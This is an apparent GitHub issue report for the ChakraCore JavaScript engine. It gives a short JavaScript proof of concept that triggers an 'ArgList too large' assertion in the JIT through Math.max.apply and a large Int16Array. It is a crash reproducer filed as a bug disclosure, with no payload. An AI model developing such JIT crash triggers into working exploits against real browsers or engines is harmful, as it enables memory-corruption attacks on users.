chakra-core / chakra-core/ChakraCore
Assertion ArgList too large failed in ChakraCore/lib/Runtime/Base/CallInfo.cpp
- Dominant language
- JavaScript
- Stars
- 9.3k
- Forks
- 1.2k
- PR merge metrics
- No merged PRs in 30d
Description
Version: `ch version 1.12.0.0-beta`
Git hash: `33db8efd9f02cd528a7305391d7d10765a2e85f3`
POC:
```javascript
function opt ( arr , arr2 ) {
arr [ 0 ] = 1.100000 ;
Math . max . apply ( Math , arr2 ) ;
arr [ 0 ] = 0.000000 ;
}
function main ( ) {
let arr = [ 1.100000 , 2.200000 , 3.300000 , 4.400000 ] ;
for ( let i = 0 ;
i < 10000 ;
i ++ ) {
opt ( arr , [ 1 , 2 , 3 , 4 ] ) ;
}
Math . max = 1 . toLocaleString ;
opt ( arr , new Int16Array ( 150000 ) ) ;
print ( arr [ 0 ] ) ;
}
main ( ) ;
```
Contributor guide
Assessment
This issue has not been assessed yet.